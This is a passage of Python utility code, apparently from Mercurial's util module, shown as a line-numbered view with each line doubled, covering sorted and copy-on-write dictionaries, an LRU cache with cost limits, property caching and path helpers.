1241 """always do a cheap copy"""
1242 self._copied = getattr(self, '_copied', 0) + 1
1242 self._copied = getattr(self, '_copied', 0) + 1
1243 return self
1243 return self
1244
1244
1245
1245
1246 class sortdict(collections.OrderedDict):
1246 class sortdict(collections.OrderedDict):
1247 '''a simple sorted dictionary
1247 '''a simple sorted dictionary
1248
1248
1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1250 >>> d2 = d1.copy()
1250 >>> d2 = d1.copy()
1251 >>> d2
1251 >>> d2
1252 sortdict([('a', 0), ('b', 1)])
1252 sortdict([('a', 0), ('b', 1)])
1253 >>> d2.update([(b'a', 2)])
1253 >>> d2.update([(b'a', 2)])
1254 >>> list(d2.keys()) # should still be in last-set order
1254 >>> list(d2.keys()) # should still be in last-set order
1255 ['b', 'a']
1255 ['b', 'a']
1256 >>> d1.insert(1, b'a.5', 0.5)
1256 >>> d1.insert(1, b'a.5', 0.5)
1257 >>> d1
1257 >>> d1
1258 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1258 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1259 '''
1259 '''
1260
1260
1261 def __setitem__(self, key, value):
1261 def __setitem__(self, key, value):
1262 if key in self:
1262 if key in self:
1263 del self[key]
1263 del self[key]
1264 super(sortdict, self).__setitem__(key, value)
1264 super(sortdict, self).__setitem__(key, value)
1265
1265
1266 if pycompat.ispypy:
1266 if pycompat.ispypy:
1267 # __setitem__() isn't called as of PyPy 5.8.0
1267 # __setitem__() isn't called as of PyPy 5.8.0
1268 def update(self, src):
1268 def update(self, src):
1269 if isinstance(src, dict):
1269 if isinstance(src, dict):
1270 src = pycompat.iteritems(src)
1270 src = pycompat.iteritems(src)
1271 for k, v in src:
1271 for k, v in src:
1272 self[k] = v
1272 self[k] = v
1273
1273
1274 def insert(self, position, key, value):
1274 def insert(self, position, key, value):
1275 for (i, (k, v)) in enumerate(list(self.items())):
1275 for (i, (k, v)) in enumerate(list(self.items())):
1276 if i == position:
1276 if i == position:
1277 self[key] = value
1277 self[key] = value
1278 if i >= position:
1278 if i >= position:
1279 del self[k]
1279 del self[k]
1280 self[k] = v
1280 self[k] = v
1281
1281
1282
1282
1283 class cowdict(cow, dict):
1283 class cowdict(cow, dict):
1284 """copy-on-write dict
1284 """copy-on-write dict
1285
1285
1286 Be sure to call d = d.preparewrite() before writing to d.
1286 Be sure to call d = d.preparewrite() before writing to d.
1287
1287
1288 >>> a = cowdict()
1288 >>> a = cowdict()
1289 >>> a is a.preparewrite()
1289 >>> a is a.preparewrite()
1290 True
1290 True
1291 >>> b = a.copy()
1291 >>> b = a.copy()
1292 >>> b is a
1292 >>> b is a
1293 True
1293 True
1294 >>> c = b.copy()
1294 >>> c = b.copy()
1295 >>> c is a
1295 >>> c is a
1296 True
1296 True
1297 >>> a = a.preparewrite()
1297 >>> a = a.preparewrite()
1298 >>> b is a
1298 >>> b is a
1299 False
1299 False
1300 >>> a is a.preparewrite()
1300 >>> a is a.preparewrite()
1301 True
1301 True
1302 >>> c = c.preparewrite()
1302 >>> c = c.preparewrite()
1303 >>> b is c
1303 >>> b is c
1304 False
1304 False
1305 >>> b is b.preparewrite()
1305 >>> b is b.preparewrite()
1306 True
1306 True
1307 """
1307 """
1308
1308
1309
1309
1310 class cowsortdict(cow, sortdict):
1310 class cowsortdict(cow, sortdict):
1311 """copy-on-write sortdict
1311 """copy-on-write sortdict
1312
1312
1313 Be sure to call d = d.preparewrite() before writing to d.
1313 Be sure to call d = d.preparewrite() before writing to d.
1314 """
1314 """
1315
1315
1316
1316
1317 class transactional(object): # pytype: disable=ignored-metaclass
1317 class transactional(object): # pytype: disable=ignored-metaclass
1318 """Base class for making a transactional type into a context manager."""
1318 """Base class for making a transactional type into a context manager."""
1319
1319
1320 __metaclass__ = abc.ABCMeta
1320 __metaclass__ = abc.ABCMeta
1321
1321
1322 @abc.abstractmethod
1322 @abc.abstractmethod
1323 def close(self):
1323 def close(self):
1324 """Successfully closes the transaction."""
1324 """Successfully closes the transaction."""
1325
1325
1326 @abc.abstractmethod
1326 @abc.abstractmethod
1327 def release(self):
1327 def release(self):
1328 """Marks the end of the transaction.
1328 """Marks the end of the transaction.
1329
1329
1330 If the transaction has not been closed, it will be aborted.
1330 If the transaction has not been closed, it will be aborted.
1331 """
1331 """
1332
1332
1333 def __enter__(self):
1333 def __enter__(self):
1334 return self
1334 return self
1335
1335
1336 def __exit__(self, exc_type, exc_val, exc_tb):
1336 def __exit__(self, exc_type, exc_val, exc_tb):
1337 try:
1337 try:
1338 if exc_type is None:
1338 if exc_type is None:
1339 self.close()
1339 self.close()
1340 finally:
1340 finally:
1341 self.release()
1341 self.release()
1342
1342
1343
1343
1344 @contextlib.contextmanager
1344 @contextlib.contextmanager
1345 def acceptintervention(tr=None):
1345 def acceptintervention(tr=None):
1346 """A context manager that closes the transaction on InterventionRequired
1346 """A context manager that closes the transaction on InterventionRequired
1347
1347
1348 If no transaction was provided, this simply runs the body and returns
1348 If no transaction was provided, this simply runs the body and returns
1349 """
1349 """
1350 if not tr:
1350 if not tr:
1351 yield
1351 yield
1352 return
1352 return
1353 try:
1353 try:
1354 yield
1354 yield
1355 tr.close()
1355 tr.close()
1356 except error.InterventionRequired:
1356 except error.InterventionRequired:
1357 tr.close()
1357 tr.close()
1358 raise
1358 raise
1359 finally:
1359 finally:
1360 tr.release()
1360 tr.release()
1361
1361
1362
1362
1363 @contextlib.contextmanager
1363 @contextlib.contextmanager
1364 def nullcontextmanager():
1364 def nullcontextmanager():
1365 yield
1365 yield
1366
1366
1367
1367
1368 class _lrucachenode(object):
1368 class _lrucachenode(object):
1369 """A node in a doubly linked list.
1369 """A node in a doubly linked list.
1370
1370
1371 Holds a reference to nodes on either side as well as a key-value
1371 Holds a reference to nodes on either side as well as a key-value
1372 pair for the dictionary entry.
1372 pair for the dictionary entry.
1373 """
1373 """
1374
1374
1375 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1375 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1376
1376
1377 def __init__(self):
1377 def __init__(self):
1378 self.next = None
1378 self.next = None
1379 self.prev = None
1379 self.prev = None
1380
1380
1381 self.key = _notset
1381 self.key = _notset
1382 self.value = None
1382 self.value = None
1383 self.cost = 0
1383 self.cost = 0
1384
1384
1385 def markempty(self):
1385 def markempty(self):
1386 """Mark the node as emptied."""
1386 """Mark the node as emptied."""
1387 self.key = _notset
1387 self.key = _notset
1388 self.value = None
1388 self.value = None
1389 self.cost = 0
1389 self.cost = 0
1390
1390
1391
1391
1392 class lrucachedict(object):
1392 class lrucachedict(object):
1393 """Dict that caches most recent accesses and sets.
1393 """Dict that caches most recent accesses and sets.
1394
1394
1395 The dict consists of an actual backing dict - indexed by original
1395 The dict consists of an actual backing dict - indexed by original
1396 key - and a doubly linked circular list defining the order of entries in
1396 key - and a doubly linked circular list defining the order of entries in
1397 the cache.
1397 the cache.
1398
1398
1399 The head node is the newest entry in the cache. If the cache is full,
1399 The head node is the newest entry in the cache. If the cache is full,
1400 we recycle head.prev and make it the new head. Cache accesses result in
1400 we recycle head.prev and make it the new head. Cache accesses result in
1401 the node being moved to before the existing head and being marked as the
1401 the node being moved to before the existing head and being marked as the
1402 new head node.
1402 new head node.
1403
1403
1404 Items in the cache can be inserted with an optional "cost" value. This is
1404 Items in the cache can be inserted with an optional "cost" value. This is
1405 simply an integer that is specified by the caller. The cache can be queried
1405 simply an integer that is specified by the caller. The cache can be queried
1406 for the total cost of all items presently in the cache.
1406 for the total cost of all items presently in the cache.
1407
1407
1408 The cache can also define a maximum cost. If a cache insertion would
1408 The cache can also define a maximum cost. If a cache insertion would
1409 cause the total cost of the cache to go beyond the maximum cost limit,
1409 cause the total cost of the cache to go beyond the maximum cost limit,
1410 nodes will be evicted to make room for the new code. This can be used
1410 nodes will be evicted to make room for the new code. This can be used
1411 to e.g. set a max memory limit and associate an estimated bytes size
1411 to e.g. set a max memory limit and associate an estimated bytes size
1412 cost to each item in the cache. By default, no maximum cost is enforced.
1412 cost to each item in the cache. By default, no maximum cost is enforced.
1413 """
1413 """
1414
1414
1415 def __init__(self, max, maxcost=0):
1415 def __init__(self, max, maxcost=0):
1416 self._cache = {}
1416 self._cache = {}
1417
1417
1418 self._head = head = _lrucachenode()
1418 self._head = head = _lrucachenode()
1419 head.prev = head
1419 head.prev = head
1420 head.next = head
1420 head.next = head
1421 self._size = 1
1421 self._size = 1
1422 self.capacity = max
1422 self.capacity = max
1423 self.totalcost = 0
1423 self.totalcost = 0
1424 self.maxcost = maxcost
1424 self.maxcost = maxcost
1425
1425
1426 def __len__(self):
1426 def __len__(self):
1427 return len(self._cache)
1427 return len(self._cache)
1428
1428
1429 def __contains__(self, k):
1429 def __contains__(self, k):
1430 return k in self._cache
1430 return k in self._cache
1431
1431
1432 def __iter__(self):
1432 def __iter__(self):
1433 # We don't have to iterate in cache order, but why not.
1433 # We don't have to iterate in cache order, but why not.
1434 n = self._head
1434 n = self._head
1435 for i in range(len(self._cache)):
1435 for i in range(len(self._cache)):
1436 yield n.key
1436 yield n.key
1437 n = n.next
1437 n = n.next
1438
1438
1439 def __getitem__(self, k):
1439 def __getitem__(self, k):
1440 node = self._cache[k]
1440 node = self._cache[k]
1441 self._movetohead(node)
1441 self._movetohead(node)
1442 return node.value
1442 return node.value
1443
1443
1444 def insert(self, k, v, cost=0):
1444 def insert(self, k, v, cost=0):
1445 """Insert a new item in the cache with optional cost value."""
1445 """Insert a new item in the cache with optional cost value."""
1446 node = self._cache.get(k)
1446 node = self._cache.get(k)
1447 # Replace existing value and mark as newest.
1447 # Replace existing value and mark as newest.
1448 if node is not None:
1448 if node is not None:
1449 self.totalcost -= node.cost
1449 self.totalcost -= node.cost
1450 node.value = v
1450 node.value = v
1451 node.cost = cost
1451 node.cost = cost
1452 self.totalcost += cost
1452 self.totalcost += cost
1453 self._movetohead(node)
1453 self._movetohead(node)
1454
1454
1455 if self.maxcost:
1455 if self.maxcost:
1456 self._enforcecostlimit()
1456 self._enforcecostlimit()
1457
1457
1458 return
1458 return
1459
1459
1460 if self._size < self.capacity:
1460 if self._size < self.capacity:
1461 node = self._addcapacity()
1461 node = self._addcapacity()
1462 else:
1462 else:
1463 # Grab the last/oldest item.
1463 # Grab the last/oldest item.
1464 node = self._head.prev
1464 node = self._head.prev
1465
1465
1466 # At capacity. Kill the old entry.
1466 # At capacity. Kill the old entry.
1467 if node.key is not _notset:
1467 if node.key is not _notset:
1468 self.totalcost -= node.cost
1468 self.totalcost -= node.cost
1469 del self._cache[node.key]
1469 del self._cache[node.key]
1470
1470
1471 node.key = k
1471 node.key = k
1472 node.value = v
1472 node.value = v
1473 node.cost = cost
1473 node.cost = cost
1474 self.totalcost += cost
1474 self.totalcost += cost
1475 self._cache[k] = node
1475 self._cache[k] = node
1476 # And mark it as newest entry. No need to adjust order since it
1476 # And mark it as newest entry. No need to adjust order since it
1477 # is already self._head.prev.
1477 # is already self._head.prev.
1478 self._head = node
1478 self._head = node
1479
1479
1480 if self.maxcost:
1480 if self.maxcost:
1481 self._enforcecostlimit()
1481 self._enforcecostlimit()
1482
1482
1483 def __setitem__(self, k, v):
1483 def __setitem__(self, k, v):
1484 self.insert(k, v)
1484 self.insert(k, v)
1485
1485
1486 def __delitem__(self, k):
1486 def __delitem__(self, k):
1487 self.pop(k)
1487 self.pop(k)
1488
1488
1489 def pop(self, k, default=_notset):
1489 def pop(self, k, default=_notset):
1490 try:
1490 try:
1491 node = self._cache.pop(k)
1491 node = self._cache.pop(k)
1492 except KeyError:
1492 except KeyError:
1493 if default is _notset:
1493 if default is _notset:
1494 raise
1494 raise
1495 return default
1495 return default
1496
1496
1497 assert node is not None # help pytype
1497 assert node is not None # help pytype
1498 value = node.value
1498 value = node.value
1499 self.totalcost -= node.cost
1499 self.totalcost -= node.cost
1500 node.markempty()
1500 node.markempty()
1501
1501
1502 # Temporarily mark as newest item before re-adjusting head to make
1502 # Temporarily mark as newest item before re-adjusting head to make
1503 # this node the oldest item.
1503 # this node the oldest item.
1504 self._movetohead(node)
1504 self._movetohead(node)
1505 self._head = node.next
1505 self._head = node.next
1506
1506
1507 return value
1507 return value
1508
1508
1509 # Additional dict methods.
1509 # Additional dict methods.
1510
1510
1511 def get(self, k, default=None):
1511 def get(self, k, default=None):
1512 try:
1512 try:
1513 return self.__getitem__(k)
1513 return self.__getitem__(k)
1514 except KeyError:
1514 except KeyError:
1515 return default
1515 return default
1516
1516
1517 def peek(self, k, default=_notset):
1517 def peek(self, k, default=_notset):
1518 """Get the specified item without moving it to the head
1518 """Get the specified item without moving it to the head
1519
1519
1520 Unlike get(), this doesn't mutate the internal state. But be aware
1520 Unlike get(), this doesn't mutate the internal state. But be aware
1521 that it doesn't mean peek() is thread safe.
1521 that it doesn't mean peek() is thread safe.
1522 """
1522 """
1523 try:
1523 try:
1524 node = self._cache[k]
1524 node = self._cache[k]
1525 return node.value
1525 return node.value
1526 except KeyError:
1526 except KeyError:
1527 if default is _notset:
1527 if default is _notset:
1528 raise
1528 raise
1529 return default
1529 return default
1530
1530
1531 def clear(self):
1531 def clear(self):
1532 n = self._head
1532 n = self._head
1533 while n.key is not _notset:
1533 while n.key is not _notset:
1534 self.totalcost -= n.cost
1534 self.totalcost -= n.cost
1535 n.markempty()
1535 n.markempty()
1536 n = n.next
1536 n = n.next
1537
1537
1538 self._cache.clear()
1538 self._cache.clear()
1539
1539
1540 def copy(self, capacity=None, maxcost=0):
1540 def copy(self, capacity=None, maxcost=0):
1541 """Create a new cache as a copy of the current one.
1541 """Create a new cache as a copy of the current one.
1542
1542
1543 By default, the new cache has the same capacity as the existing one.
1543 By default, the new cache has the same capacity as the existing one.
1544 But, the cache capacity can be changed as part of performing the
1544 But, the cache capacity can be changed as part of performing the
1545 copy.
1545 copy.
1546
1546
1547 Items in the copy have an insertion/access order matching this
1547 Items in the copy have an insertion/access order matching this
1548 instance.
1548 instance.
1549 """
1549 """
1550
1550
1551 capacity = capacity or self.capacity
1551 capacity = capacity or self.capacity
1552 maxcost = maxcost or self.maxcost
1552 maxcost = maxcost or self.maxcost
1553 result = lrucachedict(capacity, maxcost=maxcost)
1553 result = lrucachedict(capacity, maxcost=maxcost)
1554
1554
1555 # We copy entries by iterating in oldest-to-newest order so the copy
1555 # We copy entries by iterating in oldest-to-newest order so the copy
1556 # has the correct ordering.
1556 # has the correct ordering.
1557
1557
1558 # Find the first non-empty entry.
1558 # Find the first non-empty entry.
1559 n = self._head.prev
1559 n = self._head.prev
1560 while n.key is _notset and n is not self._head:
1560 while n.key is _notset and n is not self._head:
1561 n = n.prev
1561 n = n.prev
1562
1562
1563 # We could potentially skip the first N items when decreasing capacity.
1563 # We could potentially skip the first N items when decreasing capacity.
1564 # But let's keep it simple unless it is a performance problem.
1564 # But let's keep it simple unless it is a performance problem.
1565 for i in range(len(self._cache)):
1565 for i in range(len(self._cache)):
1566 result.insert(n.key, n.value, cost=n.cost)
1566 result.insert(n.key, n.value, cost=n.cost)
1567 n = n.prev
1567 n = n.prev
1568
1568
1569 return result
1569 return result
1570
1570
1571 def popoldest(self):
1571 def popoldest(self):
1572 """Remove the oldest item from the cache.
1572 """Remove the oldest item from the cache.
1573
1573
1574 Returns the (key, value) describing the removed cache entry.
1574 Returns the (key, value) describing the removed cache entry.
1575 """
1575 """
1576 if not self._cache:
1576 if not self._cache:
1577 return
1577 return
1578
1578
1579 # Walk the linked list backwards starting at tail node until we hit
1579 # Walk the linked list backwards starting at tail node until we hit
1580 # a non-empty node.
1580 # a non-empty node.
1581 n = self._head.prev
1581 n = self._head.prev
1582 while n.key is _notset:
1582 while n.key is _notset:
1583 n = n.prev
1583 n = n.prev
1584
1584
1585 assert n is not None # help pytype
1585 assert n is not None # help pytype
1586
1586
1587 key, value = n.key, n.value
1587 key, value = n.key, n.value
1588
1588
1589 # And remove it from the cache and mark it as empty.
1589 # And remove it from the cache and mark it as empty.
1590 del self._cache[n.key]
1590 del self._cache[n.key]
1591 self.totalcost -= n.cost
1591 self.totalcost -= n.cost
1592 n.markempty()
1592 n.markempty()
1593
1593
1594 return key, value
1594 return key, value
1595
1595
1596 def _movetohead(self, node):
1596 def _movetohead(self, node):
1597 """Mark a node as the newest, making it the new head.
1597 """Mark a node as the newest, making it the new head.
1598
1598
1599 When a node is accessed, it becomes the freshest entry in the LRU
1599 When a node is accessed, it becomes the freshest entry in the LRU
1600 list, which is denoted by self._head.
1600 list, which is denoted by self._head.
1601
1601
1602 Visually, let's make ``N`` the new head node (* denotes head):
1602 Visually, let's make ``N`` the new head node (* denotes head):
1603
1603
1604 previous/oldest <-> head <-> next/next newest
1604 previous/oldest <-> head <-> next/next newest
1605
1605
1606 ----<->--- A* ---<->-----
1606 ----<->--- A* ---<->-----
1607 | |
1607 | |
1608 E <-> D <-> N <-> C <-> B
1608 E <-> D <-> N <-> C <-> B
1609
1609
1610 To:
1610 To:
1611
1611
1612 ----<->--- N* ---<->-----
1612 ----<->--- N* ---<->-----
1613 | |
1613 | |
1614 E <-> D <-> C <-> B <-> A
1614 E <-> D <-> C <-> B <-> A
1615
1615
1616 This requires the following moves:
1616 This requires the following moves:
1617
1617
1618 C.next = D (node.prev.next = node.next)
1618 C.next = D (node.prev.next = node.next)
1619 D.prev = C (node.next.prev = node.prev)
1619 D.prev = C (node.next.prev = node.prev)
1620 E.next = N (head.prev.next = node)
1620 E.next = N (head.prev.next = node)
1621 N.prev = E (node.prev = head.prev)
1621 N.prev = E (node.prev = head.prev)
1622 N.next = A (node.next = head)
1622 N.next = A (node.next = head)
1623 A.prev = N (head.prev = node)
1623 A.prev = N (head.prev = node)
1624 """
1624 """
1625 head = self._head
1625 head = self._head
1626 # C.next = D
1626 # C.next = D
1627 node.prev.next = node.next
1627 node.prev.next = node.next
1628 # D.prev = C
1628 # D.prev = C
1629 node.next.prev = node.prev
1629 node.next.prev = node.prev
1630 # N.prev = E
1630 # N.prev = E
1631 node.prev = head.prev
1631 node.prev = head.prev
1632 # N.next = A
1632 # N.next = A
1633 # It is tempting to do just "head" here, however if node is
1633 # It is tempting to do just "head" here, however if node is
1634 # adjacent to head, this will do bad things.
1634 # adjacent to head, this will do bad things.
1635 node.next = head.prev.next
1635 node.next = head.prev.next
1636 # E.next = N
1636 # E.next = N
1637 node.next.prev = node
1637 node.next.prev = node
1638 # A.prev = N
1638 # A.prev = N
1639 node.prev.next = node
1639 node.prev.next = node
1640
1640
1641 self._head = node
1641 self._head = node
1642
1642
1643 def _addcapacity(self):
1643 def _addcapacity(self):
1644 """Add a node to the circular linked list.
1644 """Add a node to the circular linked list.
1645
1645
1646 The new node is inserted before the head node.
1646 The new node is inserted before the head node.
1647 """
1647 """
1648 head = self._head
1648 head = self._head
1649 node = _lrucachenode()
1649 node = _lrucachenode()
1650 head.prev.next = node
1650 head.prev.next = node
1651 node.prev = head.prev
1651 node.prev = head.prev
1652 node.next = head
1652 node.next = head
1653 head.prev = node
1653 head.prev = node
1654 self._size += 1
1654 self._size += 1
1655 return node
1655 return node
1656
1656
1657 def _enforcecostlimit(self):
1657 def _enforcecostlimit(self):
1658 # This should run after an insertion. It should only be called if total
1658 # This should run after an insertion. It should only be called if total
1659 # cost limits are being enforced.
1659 # cost limits are being enforced.
1660 # The most recently inserted node is never evicted.
1660 # The most recently inserted node is never evicted.
1661 if len(self) <= 1 or self.totalcost <= self.maxcost:
1661 if len(self) <= 1 or self.totalcost <= self.maxcost:
1662 return
1662 return
1663
1663
1664 # This is logically equivalent to calling popoldest() until we
1664 # This is logically equivalent to calling popoldest() until we
1665 # free up enough cost. We don't do that since popoldest() needs
1665 # free up enough cost. We don't do that since popoldest() needs
1666 # to walk the linked list and doing this in a loop would be
1666 # to walk the linked list and doing this in a loop would be
1667 # quadratic. So we find the first non-empty node and then
1667 # quadratic. So we find the first non-empty node and then
1668 # walk nodes until we free up enough capacity.
1668 # walk nodes until we free up enough capacity.
1669 #
1669 #
1670 # If we only removed the minimum number of nodes to free enough
1670 # If we only removed the minimum number of nodes to free enough
1671 # cost at insert time, chances are high that the next insert would
1671 # cost at insert time, chances are high that the next insert would
1672 # also require pruning. This would effectively constitute quadratic
1672 # also require pruning. This would effectively constitute quadratic
1673 # behavior for insert-heavy workloads. To mitigate this, we set a
1673 # behavior for insert-heavy workloads. To mitigate this, we set a
1674 # target cost that is a percentage of the max cost. This will tend
1674 # target cost that is a percentage of the max cost. This will tend
1675 # to free more nodes when the high water mark is reached, which
1675 # to free more nodes when the high water mark is reached, which
1676 # lowers the chances of needing to prune on the subsequent insert.
1676 # lowers the chances of needing to prune on the subsequent insert.
1677 targetcost = int(self.maxcost * 0.75)
1677 targetcost = int(self.maxcost * 0.75)
1678
1678
1679 n = self._head.prev
1679 n = self._head.prev
1680 while n.key is _notset:
1680 while n.key is _notset:
1681 n = n.prev
1681 n = n.prev
1682
1682
1683 while len(self) > 1 and self.totalcost > targetcost:
1683 while len(self) > 1 and self.totalcost > targetcost:
1684 del self._cache[n.key]
1684 del self._cache[n.key]
1685 self.totalcost -= n.cost
1685 self.totalcost -= n.cost
1686 n.markempty()
1686 n.markempty()
1687 n = n.prev
1687 n = n.prev
1688
1688
1689
1689
1690 def lrucachefunc(func):
1690 def lrucachefunc(func):
1691 '''cache most recent results of function calls'''
1691 '''cache most recent results of function calls'''
1692 cache = {}
1692 cache = {}
1693 order = collections.deque()
1693 order = collections.deque()
1694 if func.__code__.co_argcount == 1:
1694 if func.__code__.co_argcount == 1:
1695
1695
1696 def f(arg):
1696 def f(arg):
1697 if arg not in cache:
1697 if arg not in cache:
1698 if len(cache) > 20:
1698 if len(cache) > 20:
1699 del cache[order.popleft()]
1699 del cache[order.popleft()]
1700 cache[arg] = func(arg)
1700 cache[arg] = func(arg)
1701 else:
1701 else:
1702 order.remove(arg)
1702 order.remove(arg)
1703 order.append(arg)
1703 order.append(arg)
1704 return cache[arg]
1704 return cache[arg]
1705
1705
1706 else:
1706 else:
1707
1707
1708 def f(*args):
1708 def f(*args):
1709 if args not in cache:
1709 if args not in cache:
1710 if len(cache) > 20:
1710 if len(cache) > 20:
1711 del cache[order.popleft()]
1711 del cache[order.popleft()]
1712 cache[args] = func(*args)
1712 cache[args] = func(*args)
1713 else:
1713 else:
1714 order.remove(args)
1714 order.remove(args)
1715 order.append(args)
1715 order.append(args)
1716 return cache[args]
1716 return cache[args]
1717
1717
1718 return f
1718 return f
1719
1719
1720
1720
1721 class propertycache(object):
1721 class propertycache(object):
1722 def __init__(self, func):
1722 def __init__(self, func):
1723 self.func = func
1723 self.func = func
1724 self.name = func.__name__
1724 self.name = func.__name__
1725
1725
1726 def __get__(self, obj, type=None):
1726 def __get__(self, obj, type=None):
1727 result = self.func(obj)
1727 result = self.func(obj)
1728 self.cachevalue(obj, result)
1728 self.cachevalue(obj, result)
1729 return result
1729 return result
1730
1730
1731 def cachevalue(self, obj, value):
1731 def cachevalue(self, obj, value):
1732 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1732 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1733 obj.__dict__[self.name] = value
1733 obj.__dict__[self.name] = value
1734
1734
1735
1735
1736 def clearcachedproperty(obj, prop):
1736 def clearcachedproperty(obj, prop):
1737 '''clear a cached property value, if one has been set'''
1737 '''clear a cached property value, if one has been set'''
1738 prop = pycompat.sysstr(prop)
1738 prop = pycompat.sysstr(prop)
1739 if prop in obj.__dict__:
1739 if prop in obj.__dict__:
1740 del obj.__dict__[prop]
1740 del obj.__dict__[prop]
1741
1741
1742
1742
1743 def increasingchunks(source, min=1024, max=65536):
1743 def increasingchunks(source, min=1024, max=65536):
1744 '''return no less than min bytes per chunk while data remains,
1744 '''return no less than min bytes per chunk while data remains,
1745 doubling min after each chunk until it reaches max'''
1745 doubling min after each chunk until it reaches max'''
1746
1746
1747 def log2(x):
1747 def log2(x):
1748 if not x:
1748 if not x:
1749 return 0
1749 return 0
1750 i = 0
1750 i = 0
1751 while x:
1751 while x:
1752 x >>= 1
1752 x >>= 1
1753 i += 1
1753 i += 1
1754 return i - 1
1754 return i - 1
1755
1755
1756 buf = []
1756 buf = []
1757 blen = 0
1757 blen = 0
1758 for chunk in source:
1758 for chunk in source:
1759 buf.append(chunk)
1759 buf.append(chunk)
1760 blen += len(chunk)
1760 blen += len(chunk)
1761 if blen >= min:
1761 if blen >= min:
1762 if min < max:
1762 if min < max:
1763 min = min << 1
1763 min = min << 1
1764 nmin = 1 << log2(blen)
1764 nmin = 1 << log2(blen)
1765 if nmin > min:
1765 if nmin > min:
1766 min = nmin
1766 min = nmin
1767 if min > max:
1767 if min > max:
1768 min = max
1768 min = max
1769 yield b''.join(buf)
1769 yield b''.join(buf)
1770 blen = 0
1770 blen = 0
1771 buf = []
1771 buf = []
1772 if buf:
1772 if buf:
1773 yield b''.join(buf)
1773 yield b''.join(buf)
1774
1774
1775
1775
1776 def always(fn):
1776 def always(fn):
1777 return True
1777 return True
1778
1778
1779
1779
1780 def never(fn):
1780 def never(fn):
1781 return False
1781 return False
1782
1782
1783
1783
1784 def nogc(func):
1784 def nogc(func):
1785 """disable garbage collector
1785 """disable garbage collector
1786
1786
1787 Python's garbage collector triggers a GC each time a certain number of
1787 Python's garbage collector triggers a GC each time a certain number of
1788 container objects (the number being defined by gc.get_threshold()) are
1788 container objects (the number being defined by gc.get_threshold()) are
1789 allocated even when marked not to be tracked by the collector. Tracking has
1789 allocated even when marked not to be tracked by the collector. Tracking has
1790 no effect on when GCs are triggered, only on what objects the GC looks
1790 no effect on when GCs are triggered, only on what objects the GC looks
1791 into. As a workaround, disable GC while building complex (huge)
1791 into. As a workaround, disable GC while building complex (huge)
1792 containers.
1792 containers.
1793
1793
1794 This garbage collector issue have been fixed in 2.7. But it still affect
1794 This garbage collector issue have been fixed in 2.7. But it still affect
1795 CPython's performance.
1795 CPython's performance.
1796 """
1796 """
1797
1797
1798 def wrapper(*args, **kwargs):
1798 def wrapper(*args, **kwargs):
1799 gcenabled = gc.isenabled()
1799 gcenabled = gc.isenabled()
1800 gc.disable()
1800 gc.disable()
1801 try:
1801 try:
1802 return func(*args, **kwargs)
1802 return func(*args, **kwargs)
1803 finally:
1803 finally:
1804 if gcenabled:
1804 if gcenabled:
1805 gc.enable()
1805 gc.enable()
1806
1806
1807 return wrapper
1807 return wrapper
1808
1808
1809
1809
1810 if pycompat.ispypy:
1810 if pycompat.ispypy:
1811 # PyPy runs slower with gc disabled
1811 # PyPy runs slower with gc disabled
1812 nogc = lambda x: x
1812 nogc = lambda x: x
1813
1813
1814
1814
1815 def pathto(root, n1, n2):
1815 def pathto(root, n1, n2):
1816 '''return the relative path from one place to another.
1816 '''return the relative path from one place to another.
1817 root should use os.sep to separate directories
1817 root should use os.sep to separate directories
1818 n1 should use os.sep to separate directories
1818 n1 should use os.sep to separate directories
1819 n2 should use "/" to separate directories
1819 n2 should use "/" to separate directories
1820 returns an os.sep-separated path.
1820 returns an os.sep-separated path.
1821
1821
1822 If n1 is a relative path, it's assumed it's
1822 If n1 is a relative path, it's assumed it's
1823 relative to root.
1823 relative to root.
1824 n2 should always be relative to root.
1824 n2 should always be relative to root.
1825 '''
1825 '''
1826 if not n1:
1826 if not n1:
1827 return localpath(n2)
1827 return localpath(n2)
1828 if os.path.isabs(n1):
1828 if os.path.isabs(n1):
1829 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1829 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1830 return os.path.join(root, localpath(n2))
1830 return os.path.join(root, localpath(n2))
1831 n2 = b'/'.join((pconvert(root), n2))
1831 n2 = b'/'.join((pconvert(root), n2))
1832 a, b = splitpath(n1), n2.split(b'/')
1832 a, b = splitpath(n1), n2.split(b'/')
1833 a.reverse()
1833 a.reverse()
1834 b.reverse()
1834 b.reverse()
1835 while a and b and a[-1] == b[-1]:
1835 while a and b and a[-1] == b[-1]:
1836 a.pop()
1836 a.pop()
1837 b.pop()
1837 b.pop()
1838 b.reverse()
1838 b.reverse()
1839 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1839 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1840
1840
1841
1841
1842 def checksignature(func):
1842 def checksignature(func):
1843 '''wrap a function with code to check for calling errors'''
1843 '''wrap a function with code to check for calling errors'''
1844
1844
1845 def check(*args, **kwargs):
1845 def check(*args, **kwargs):
1846 try:
1846 try:
1847 return func(*args, **kwargs)
1847 return func(*args, **kwargs)
1848 except TypeError:
1848 except TypeError:
1849 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1849 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1850 raise error.SignatureError
1850 raise error.SignatureError
1851 raise
1851 raise
1852
1852
1853 return check
1853 return check
1854
1854
1855
1855
1856 # a whilelist of known filesystems where hardlink works reliably
1856 # a whilelist of known filesystems where hardlink works reliably
1857 _hardlinkfswhitelist = {
1857 _hardlinkfswhitelist = {
1858 b'apfs',
1858 b'apfs',
1859 b'btrfs',
1859 b'btrfs',
1860 b'ext2',
1860 b'ext2',
1861 b'ext3',
1861 b'ext3',
1862 b'ext4',
1862 b'ext4',
1863 b'hfs',
1863 b'hfs',
1864 b'jfs',
1864 b'jfs',
1865 b'NTFS',
1865 b'NTFS',
1866 b'reiserfs',
1866 b'reiserfs',
1867 b'tmpfs',
1867 b'tmpfs',
1868 b'ufs',
1868 b'ufs',
1869 b'xfs',
1869 b'xfs',
1870 b'zfs',
1870 b'zfs',
1871 }
1871 }
1872
1872
1873
1873
1874 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
